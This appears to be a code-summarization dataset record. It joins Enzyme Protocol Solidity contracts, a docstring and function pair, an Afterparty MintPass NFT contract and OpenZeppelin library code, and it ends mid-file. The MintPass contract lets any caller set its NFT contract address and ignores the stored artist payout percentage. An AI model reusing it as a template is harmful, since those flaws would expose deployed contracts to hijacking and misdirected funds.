function isSupportedDerivativeAsset(address) external view returns (bool);
function isSupportedPrimitiveAsset(address) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../utils/FundDeployerOwnerMixin.sol";
import "../../utils/MathHelpers.sol";
import "../price-feeds/derivatives/AggregatedDerivativePriceFeedMixin.sol";
import "../price-feeds/derivatives/IDerivativePriceFeed.sol";
import "../price-feeds/primitives/ChainlinkPriceFeedMixin.sol";
import "./IValueInterpreter.sol";
/// @title ValueInterpreter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Interprets price feeds to provide covert value between asset pairs
contract ValueInterpreter is
IValueInterpreter,
FundDeployerOwnerMixin,
AggregatedDerivativePriceFeedMixin,
ChainlinkPriceFeedMixin,
MathHelpers
{
using SafeMath for uint256;
// Used to only tolerate a max rounding discrepancy of 0.01%
// when converting values via an inverse rate
uint256 private constant MIN_INVERSE_RATE_AMOUNT = 10000;
constructor(
address _fundDeployer,
address _wethToken,
uint256 _chainlinkStaleRateThreshold
)
public
FundDeployerOwnerMixin(_fundDeployer)
ChainlinkPriceFeedMixin(_wethToken, _chainlinkStaleRateThreshold)
{}
// EXTERNAL FUNCTIONS
/// @notice Calculates the total value of given amounts of assets in a single quote asset
/// @param _baseAssets The assets to convert
/// @param _amounts The amounts of the _baseAssets to convert
/// @param _quoteAsset The asset to which to convert
/// @return value_ The sum value of _baseAssets, denominated in the _quoteAsset
/// @dev Does not alter protocol state,
/// but not a view because calls to price feeds can potentially update third party state.
/// Does not handle a derivative quote asset.
function calcCanonicalAssetsTotalValue(
address[] memory _baseAssets,
uint256[] memory _amounts,
address _quoteAsset
) external override returns (uint256 value_) {
require(
_baseAssets.length == _amounts.length,
"calcCanonicalAssetsTotalValue: Arrays unequal lengths"
);
require(
isSupportedPrimitiveAsset(_quoteAsset),
"calcCanonicalAssetsTotalValue: Unsupported _quoteAsset"
);
for (uint256 i; i < _baseAssets.length; i++) {
uint256 assetValue = __calcAssetValue(_baseAssets[i], _amounts[i], _quoteAsset);
value_ = value_.add(assetValue);
}
return value_;
}
// PUBLIC FUNCTIONS
/// @notice Calculates the value of a given amount of one asset in terms of another asset
/// @param _baseAsset The asset from which to convert
/// @param _amount The amount of the _baseAsset to convert
/// @param _quoteAsset The asset to which to convert
/// @return value_ The equivalent quantity in the _quoteAsset
/// @dev Does not alter protocol state,
/// but not a view because calls to price feeds can potentially update third party state.
/// See also __calcPrimitiveToDerivativeValue() for important notes regarding a derivative _quoteAsset.
function calcCanonicalAssetValue(
address _baseAsset,
uint256 _amount,
address _quoteAsset
) external override returns (uint256 value_) {
if (_baseAsset == _quoteAsset || _amount == 0) {
return _amount;
}
if (isSupportedPrimitiveAsset(_quoteAsset)) {
return __calcAssetValue(_baseAsset, _amount, _quoteAsset);
} else if (
isSupportedDerivativeAsset(_quoteAsset) && isSupportedPrimitiveAsset(_baseAsset)
) {
return __calcPrimitiveToDerivativeValue(_baseAsset, _amount, _quoteAsset);
}
revert("calcCanonicalAssetValue: Unsupported conversion");
}
/// @notice Checks whether an asset is a supported asset
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is a supported asset
function isSupportedAsset(address _asset) public view override returns (bool isSupported_) {
return isSupportedPrimitiveAsset(_asset) || isSupportedDerivativeAsset(_asset);
}
// PRIVATE FUNCTIONS
/// @dev Helper to differentially calculate an asset value
/// based on if it is a primitive or derivative asset.
function __calcAssetValue(
address _baseAsset,
uint256 _amount,
address _quoteAsset
) private returns (uint256 value_) {
if (_baseAsset == _quoteAsset || _amount == 0) {
return _amount;
}
// Handle case that asset is a primitive
if (isSupportedPrimitiveAsset(_baseAsset)) {
return __calcCanonicalValue(_baseAsset, _amount, _quoteAsset);
}
// Handle case that asset is a derivative
address derivativePriceFeed = getPriceFeedForDerivative(_baseAsset);
if (derivativePriceFeed != address(0)) {
return __calcDerivativeValue(derivativePriceFeed, _baseAsset, _amount, _quoteAsset);
}
revert("__calcAssetValue: Unsupported _baseAsset");
}
/// @dev Helper to calculate the value of a derivative in an arbitrary asset.
/// Handles multiple underlying assets (e.g., Uniswap and Balancer pool tokens).
/// Handles underlying assets that are also derivatives (e.g., a cDAI-ETH LP)
function __calcDerivativeValue(
address _derivativePriceFeed,
address _derivative,
uint256 _amount,
address _quoteAsset
) private returns (uint256 value_) {
(address[] memory underlyings, uint256[] memory underlyingAmounts) = IDerivativePriceFeed(
_derivativePriceFeed
)
.calcUnderlyingValues(_derivative, _amount);
require(underlyings.length > 0, "__calcDerivativeValue: No underlyings");
require(
underlyings.length == underlyingAmounts.length,
"__calcDerivativeValue: Arrays unequal lengths"
);
for (uint256 i = 0; i < underlyings.length; i++) {
uint256 underlyingValue = __calcAssetValue(
underlyings[i],
underlyingAmounts[i],
_quoteAsset
);
value_ = value_.add(underlyingValue);
}
}
/// @dev Helper to calculate the value of a primitive base asset in a derivative quote asset.
/// Assumes that the _primitiveBaseAsset and _derivativeQuoteAsset have been validated as supported.
/// Callers of this function should be aware of the following points, and take precautions as-needed,
/// such as prohibiting a derivative quote asset:
/// - The returned value will be slightly less the actual canonical value due to the conversion formula's
/// handling of the intermediate inverse rate (see comments below).
/// - If the assets involved have an extreme rate and/or have a low ERC20.decimals() value,
/// the inverse rate might not be considered "sufficient", and will revert.
function __calcPrimitiveToDerivativeValue(
address _primitiveBaseAsset,
uint256 _primitiveBaseAssetAmount,
address _derivativeQuoteAsset
) private returns (uint256 value_) {
uint256 derivativeUnit = 10**uint256(ERC20(_derivativeQuoteAsset).decimals());
address derivativePriceFeed = getPriceFeedForDerivative(_derivativeQuoteAsset);
uint256 primitiveAmountForDerivativeUnit = __calcDerivativeValue(
derivativePriceFeed,
_derivativeQuoteAsset,
derivativeUnit,
_primitiveBaseAsset
);
// Only tolerate a max rounding discrepancy
require(
primitiveAmountForDerivativeUnit > MIN_INVERSE_RATE_AMOUNT,
"__calcPrimitiveToDerivativeValue: Insufficient rate"
);
// Adds `1` to primitiveAmountForDerivativeUnit so that the final return value is
// slightly less than the actual value, which is congruent with how all other
// asset conversions are floored in the protocol.
return
__calcRelativeQuantity(
primitiveAmountForDerivativeUnit.add(1),
derivativeUnit,
_primitiveBaseAssetAmount
);
}
////////////////////////////
// PRIMITIVES (CHAINLINK) //
////////////////////////////
/// @notice Adds a list of primitives with the given aggregator and rateAsset values
/// @param _primitives The primitives to add
/// @param _aggregators The ordered aggregators corresponding to the list of _primitives
/// @param _rateAssets The ordered rate assets corresponding to the list of _primitives
function addPrimitives(
address[] calldata _primitives,
address[] calldata _aggregators,
RateAsset[] calldata _rateAssets
) external onlyFundDeployerOwner {
__addPrimitives(_primitives, _aggregators, _rateAssets);
}
/// @notice Removes a list of primitives from the feed
/// @param _primitives The primitives to remove
function removePrimitives(address[] calldata _primitives) external onlyFundDeployerOwner {
__removePrimitives(_primitives);
}
/// @notice Sets the `ehUsdAggregator` variable value
/// @param _nextEthUsdAggregator The `ehUsdAggregator` value to set
function setEthUsdAggregator(address _nextEthUsdAggregator) external onlyFundDeployerOwner {
__setEthUsdAggregator(_nextEthUsdAggregator);
}
/// @notice Updates a list of primitives with the given aggregator and rateAsset values
/// @param _primitives The primitives to update
/// @param _aggregators The ordered aggregators corresponding to the list of _primitives
/// @param _rateAssets The ordered rate assets corresponding to the list of _primitives
function updatePrimitives(
address[] calldata _primitives,
address[] calldata _aggregators,
RateAsset[] calldata _rateAssets
) external onlyFundDeployerOwner {
__removePrimitives(_primitives);
__addPrimitives(_primitives, _aggregators, _rateAssets);
}
// PUBLIC FUNCTIONS
/// @notice Checks whether an asset is a supported primitive
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is a supported primitive
function isSupportedPrimitiveAsset(address _asset)
public
view
override
returns (bool isSupported_)
{
return _asset == getWethToken() || getAggregatorForPrimitive(_asset) != address(0);
}
////////////////////////////////////
// DERIVATIVE PRICE FEED REGISTRY //
////////////////////////////////////
/// @notice Adds a list of derivatives with the given price feed values
/// @param _derivatives The derivatives to add
/// @param _priceFeeds The ordered price feeds corresponding to the list of _derivatives
function addDerivatives(address[] calldata _derivatives, address[] calldata _priceFeeds)
external
onlyFundDeployerOwner
{
__addDerivatives(_derivatives, _priceFeeds);
}
/// @notice Removes a list of derivatives
/// @param _derivatives The derivatives to remove
function removeDerivatives(address[] calldata _derivatives) external onlyFundDeployerOwner {
__removeDerivatives(_derivatives);
}
/// @notice Updates a list of derivatives with the given price feed values
/// @param _derivatives The derivatives to update
/// @param _priceFeeds The ordered price feeds corresponding to the list of _derivatives
function updateDerivatives(address[] calldata _derivatives, address[] calldata _priceFeeds)
external
onlyFundDeployerOwner
{
__removeDerivatives(_derivatives);
__addDerivatives(_derivatives, _priceFeeds);
}
// PUBLIC FUNCTIONS
/// @notice Checks whether an asset is a supported derivative
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is a supported derivative
function isSupportedDerivativeAsset(address _asset)
public
view
override
returns (bool isSupported_)
{
return getPriceFeedForDerivative(_asset) != address(0);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IChainlinkAggregator Interface
/// @author Enzyme Council <[email protected]>
interface IChainlinkAggregator {
function latestRoundData()
external
view
returns (
uint80,
int256,
uint256,
uint256,
uint80
);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../core/fund-deployer/IFundDeployer.sol";
/// @title FundDeployerOwnerMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin contract that defers ownership to the owner of FundDeployer
abstract contract FundDeployerOwnerMixin {
address internal immutable FUND_DEPLOYER;
modifier onlyFundDeployerOwner() {
require(
msg.sender == getOwner(),
"onlyFundDeployerOwner: Only the FundDeployer owner can call this function"
);
_;
}
constructor(address _fundDeployer) public {
FUND_DEPLOYER = _fundDeployer;
}
/// @notice Gets the owner of this contract
/// @return owner_ The owner
/// @dev Ownership is deferred to the owner of the FundDeployer contract
function getOwner() public view returns (address owner_) {
return IFundDeployer(FUND_DEPLOYER).getOwner();
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `FUND_DEPLOYER` variable
/// @return fundDeployer_ The `FUND_DEPLOYER` variable value
function getFundDeployer() public view returns (address fundDeployer_) {
return FUND_DEPLOYER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
/// @title MathHelpers Contract
/// @author Enzyme Council <[email protected]>
/// @notice Helper functions for common math operations
abstract contract MathHelpers {
using SafeMath for uint256;
/// @dev Calculates a proportional value relative to a known ratio.
/// Caller is responsible as-necessary for:
/// 1. validating _quantity1 to be non-zero
/// 2. validating relativeQuantity2_ to be non-zero
function __calcRelativeQuantity(
uint256 _quantity1,
uint256 _quantity2,
uint256 _relativeQuantity1
) internal pure returns (uint256 relativeQuantity2_) {
return _relativeQuantity1.mul(_quantity2).div(_quantity1);
}
}
|
Helper to validate that assets are supported within the protocol
|
function __validateSupportedAssets(address[] memory _assets) private view {
for (uint256 i; i < _assets.length; i++) {
require(
IValueInterpreter(VALUE_INTERPRETER).isSupportedAsset(_assets[i]),
"__validateSupportedAssets: Unsupported asset"
);
}
}
| 1,406,507
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
// Afterparty MintPass allows buying of a pass to access the IRL mint of your Afterparty Utopian.
// Truffle imports
//import "../openzeppelin-contracts/contracts/token/ERC1155/presets/ERC1155PresetMinterPauser.sol";
//import "../openzeppelin-contracts/contracts/utils/math/SafeMath.sol";
//import "../openzeppelin-contracts/contracts/access/AccessControlEnumerable.sol";
// Remix imports
import "@openzeppelin/contracts/token/ERC1155/presets/ERC1155PresetMinterPauser.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
// Audits
// Last passed audits
// Mythrill: 5, 11/22/2021
// MythX:
// Optilistic :
contract MintPass is ERC1155PresetMinterPauser {
using SafeMath for uint256;
using SafeMath for uint16;
using SafeMath for uint;
/***********************************|
| Structs |
|__________________________________*/
struct WhitelistAddresses {
mapping(address => uint256) whitelist;
}
struct Collection {
bytes32 name; // short name (up to 32 bytes)
uint16 collectionType;
string uri;
uint cost;
bool mintPassOpenToPublic;
bool mintNftOpenToPublic;
uint256 totalMintCount;
uint256 remaingMintCount;
uint16 artistPayablePercent;
address artistPayableAddress;
address nftContractAddress;
// NOTE: in whitelist mappings, uint = remaining_mint_count
mapping(address => uint) whitelistPass;
mapping(address => uint) whitelistNft;
}
struct Pass {
uint256 collectionId;
uint sale_price;
}
/***********************************|
| Variables and Constants |
|__________________________________*/
bytes32 public constant EVENT_MANAGER_ROLE = keccak256("EVENT_MANAGER_ROLE");
string public name;
string public symbol;
address public nftContractAddress;
uint256 public numCollections;
mapping (uint256 => Collection) public collections;
uint16 public build = 14;
uint256 public tokenCount = 0;
// For Minting and Burning, locks the functions
bool private _enabled = true;
// For metadata (scripts), when locked, cannot be changed
bool private _locked = false;
bytes4 constant public ERC1155_ACCEPTED = 0xf23a6e61;
address payable public contract_owner;
mapping(uint256 => address) public tokenToAddress;
Pass[] public passes;
/***********************************|
| Events |
|__________________________________*/
/**
* @dev Emitted when an original NFT with a new seed is minted
*/
event evtPassMinted(address _seller, address _buyer, uint256 _price);
event evtMintFromPass(bool success, bytes data, uint _id);
event evtPassMintedBatch(address _seller, address _buyer, bytes data, uint count);
/***********************************|
| Errors |
|__________________________________*/
error errNftMintFailed(bytes data);
/***********************************|
| Modifiers |
|__________________________________*/
modifier onlyWhenEnabled() {
require(_enabled, "Contract is disabled");
_;
}
modifier onlyWhenDisabled() {
require(!_enabled, "Contract is enabled");
_;
}
modifier onlyUnlocked() {
require(!_locked, "Contract is locked");
_;
}
modifier ownerorWhitelistOnly() {
require(contract_owner == msg.sender);
_;
}
/***********************************|
| MAIN CONSTRUCTOR |
|__________________________________*/
constructor() ERC1155PresetMinterPauser("https://nft.afterparty.ai/nft_metadata/0/{id}.json") {
contract_owner = payable(msg.sender);
name = "Afterparty MintPass";
symbol = "APMP";
// TODO: For testing -- Afterparty Pass collection
//createCollection(0x4166746572706172747920506173730000000000000000000000000000000000, 1, 100, "https://nft.afterparty.ai/nft_collection_metadata/0.json", 1500, 90, contract_owner);
}
/***********************************|
| User Interactions |
|__________________________________*/
/**
* @dev Function to mint pass. Msg.value must have sufficient eth for collection item
*/
function mintPass(address _to, uint256 collectionId, bytes memory _data) public payable onlyWhenEnabled {
require(collections[collectionId].remaingMintCount > 0, "AP: No remaining passes to mint");
require(msg.value >= collections[collectionId].cost, "AP: Not enough value to mint");
require(
hasRole(MINTER_ROLE, _msgSender()) || collections[collectionId].whitelistPass[msg.sender] > 0 || collections[collectionId].mintPassOpenToPublic,
"Only contract owner or whitelist can mint."
);
// Decrement remaining available mintables
collections[collectionId].remaingMintCount--;
_mint(_to, tokenCount, 1, _data);
// Subtract from the number that can be minted from that address
if(!collections[collectionId].mintPassOpenToPublic) {
if(!hasRole(MINTER_ROLE, _msgSender())) {
collections[collectionId].whitelistPass[msg.sender]--;
}
}
// Set the ownership of this token to sender
tokenToAddress[tokenCount] = _to;
// Push associated data for mint to NFT array
passes.push(Pass({
collectionId: collectionId,
sale_price: msg.value
}));
// Split minting value
uint artistFraction = 90;
uint artistTotal = (collections[collectionId].cost * artistFraction) / 100;
uint apTotal = msg.value - artistTotal;
address artistAddress = collections[collectionId].artistPayableAddress;
payable(contract_owner).transfer(apTotal); // send the ETH to the Afterparty wallet
payable(artistAddress).transfer(artistTotal); // send the ETH to the Artist wallet
// Increment token count
tokenCount++;
// Emit minted event
emit evtPassMinted(contract_owner, msg.sender, msg.value);
}
function mintPassBatch(address _to, uint256 collectionId, bytes memory _data, uint count) public onlyWhenEnabled {
// TODO: Get remaining mint count function
require(collections[collectionId].remaingMintCount > count, "AP: Not enough remaining passes to mint");
require( hasRole(MINTER_ROLE, _msgSender()), "Only minter can batch mint." );
// Decrement remaining available mintables
collections[collectionId].remaingMintCount -= count;
uint[] memory ids = new uint[](count);
uint[] memory amounts = new uint[](count);
for (uint256 i = 0; i < count; i++) {
ids[i] = tokenCount+i;
amounts[i] = 1;
tokenToAddress[tokenCount+i] = _to;
// Push associated data for mint to NFT array
passes.push(Pass({
collectionId: collectionId,
sale_price: 0
}));
}
_mintBatch(_to, ids, amounts, _data);
// Increment token count
tokenCount += count;
// Emit minted event
emit evtPassMintedBatch(_to, msg.sender, _data, count);
}
function nftUri() public pure returns (string memory) {
string memory baseMetadataURI = "https://afterparty.ai/nft_metadata/0/{id}.json";
return baseMetadataURI;
}
// Check code _burn to make sure it reverts -- otherwise check for burn success
// Reentrancy Guard code to prevent -- https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol
function mintToNftContract(uint256 _passId) public onlyWhenEnabled {
// Check if the pass is valid
require(_passId < passes.length, "AP: Pass not found");
// Check if you own that mint pass by balance
require(balanceOf(msg.sender, _passId) > 0, "AP: Pass balance 0");
// Make sure a valid NFT contract is associated with collection
uint256 collectionId = passes[_passId].collectionId;
address callableNftContractAddress = collections[collectionId].nftContractAddress;
require(callableNftContractAddress != 0x0000000000000000000000000000000000000000, "AP: Invalid NFT contract address");
// Make sure the minter is an admin, on the whitelist, or minting is open
require(
hasRole(MINTER_ROLE, _msgSender()) || collections[collectionId].whitelistNft[msg.sender] > 0 || collections[collectionId].mintNftOpenToPublic,
"Only contract owner or whitelist can mint."
);
// Burn pass
_burn(msg.sender, _passId, 1);
// If pass is valid, mint NFT on NFT contract
(bool success, bytes memory data) = callableNftContractAddress.call(abi.encodeWithSignature("mintFromPass(address)", msg.sender));
// Verify success
if(!success) {
revert errNftMintFailed({
data: data
});
}
// Emit successful minting event
emit evtMintFromPass(success, data, _passId);
}
/***********************************|
| Admin |
|__________________________________*/
// Examples names:
// Fernickle = 0x4665726e69636b6c650000000000000000000000000000000000000000000000
// Afterparty Utopians = 0x416674657270617274792055746f7069616e7300000000000000000000000000
// Afterparty Pass = 0x4166746572706172747920506173730000000000000000000000000000000000
/**
* @dev Create a collection of mint passes
* @param _name Name of the collection
* @param _collectionType Type of collection
* @param _cost Cost per pass
* @param _uri URI of collection
* @param _remaingMintCount Number of passes remaining available to mint
* @param _artistPayablePercent Percent of collection funds that go to artist
* @param _artistPayableAddress Artist wallet that receives percentage of funds
*/
function createCollection (bytes32 _name, uint16 _collectionType, uint256 _cost, string memory _uri, uint256 _remaingMintCount, uint16 _artistPayablePercent, address _artistPayableAddress) public {
require(hasRole(MINTER_ROLE, _msgSender()), "AP: must have minter role to create collection");
Collection storage newCol = collections[numCollections++];
newCol.name = _name;
newCol.collectionType = _collectionType;
newCol.uri = _uri;
newCol.cost = _cost;
newCol.totalMintCount = _remaingMintCount;
newCol.remaingMintCount = _remaingMintCount;
newCol.mintPassOpenToPublic = false;
newCol.mintNftOpenToPublic = false;
newCol.artistPayablePercent = _artistPayablePercent;
newCol.artistPayableAddress = _artistPayableAddress;
newCol.nftContractAddress = 0x0000000000000000000000000000000000000000;
}
function addToPassWhitelist ( address to, uint256 collectionId, uint16 amount ) public {
require(hasRole(MINTER_ROLE, _msgSender()) || hasRole(EVENT_MANAGER_ROLE, _msgSender()), "AP: must have minter role to whitelist mint pass");
collections[collectionId].whitelistPass[to] = amount;
}
function addToNftWhitelist ( address to, uint256 collectionId, uint16 amount ) public {
require(hasRole(MINTER_ROLE, _msgSender()) || hasRole(EVENT_MANAGER_ROLE, _msgSender()), "AP: must have minter role to whitelist mint NFT");
collections[collectionId].whitelistNft[to] = amount;
}
/**
* @dev Function to enable/disable token minting
* @param enabled The flag to turn minting on or off
*/
function setEnabled(bool enabled) public {
require(hasRole(MINTER_ROLE, _msgSender()), "AP: must have minter role to change enable");
_enabled = enabled;
}
function setContractOwner(address newOwner) public {
require(hasRole(MINTER_ROLE, _msgSender()), "AP: must have minter role to change contract owner");
contract_owner = payable(newOwner);
}
/**
* @dev Function to lock/unlock the on-chain metadata
* @param locked The flag turn locked on
*/
function setLocked(bool locked) public onlyUnlocked {
require(
msg.sender == contract_owner,
"Only contract owner add to whitelist."
);
_locked = locked;
}
/**
* @dev Function to update the base _uri for all tokens
* @param newuri The base uri string
*/
function setURI(string memory newuri) public {
require(
msg.sender == contract_owner,
"Only contract owner add to whitelist."
);
_setURI(newuri);
}
/***********************************|
| Utility Functions |
|__________________________________*/
function mintedPassesCount() public view returns (uint256){
return passes.length;
}
function ownerOf(uint256 idx) public view returns (address) {
return tokenToAddress[idx];
}
function setNftContractAddress(address _nftAddress, uint256 collectionId) public {
require(collectionId < numCollections, "AP: Collection not found");
collections[collectionId].nftContractAddress = _nftAddress;
}
function setMintPassOpenToPublic(bool _open, uint256 collectionId) public {
require(hasRole(MINTER_ROLE, _msgSender()), "AP: Must have minter role to set MintPassOpenToPublic");
require(collectionId < numCollections, "AP: Collection not found");
collections[collectionId].mintPassOpenToPublic = _open;
}
function setMintNftOpenToPublic(bool _open, uint256 collectionId) public {
require(hasRole(MINTER_ROLE, _msgSender()), "AP: Must have minter role to set MintNftOpenToPublic");
require(collectionId < numCollections, "AP: Collection not found");
collections[collectionId].mintNftOpenToPublic = _open;
}
/***********************************|
| Nullify Functions |
|__________________________________*/
function mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) public override {
// Use mintNFT() instead
}
function mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public override {
// Use mintBatchNFT() instead
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/AccessControlEnumerable.sol)
pragma solidity ^0.8.0;
import "./IAccessControlEnumerable.sol";
import "./AccessControl.sol";
import "../utils/structs/EnumerableSet.sol";
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {_grantRole} to track enumerable memberships
*/
function _grantRole(bytes32 role, address account) internal virtual override {
super._grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {_revokeRole} to track enumerable memberships
*/
function _revokeRole(bytes32 role, address account) internal virtual override {
super._revokeRole(role, account);
_roleMembers[role].remove(account);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC1155/presets/ERC1155PresetMinterPauser.sol)
pragma solidity ^0.8.0;
import "../ERC1155.sol";
import "../extensions/ERC1155Burnable.sol";
import "../extensions/ERC1155Pausable.sol";
import "../../../access/AccessControlEnumerable.sol";
import "../../../utils/Context.sol";
/**
* @dev {ERC1155} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract ERC1155PresetMinterPauser is Context, AccessControlEnumerable, ERC1155Burnable, ERC1155Pausable {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE`, and `PAUSER_ROLE` to the account that
* deploys the contract.
*/
constructor(string memory uri) ERC1155(uri) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
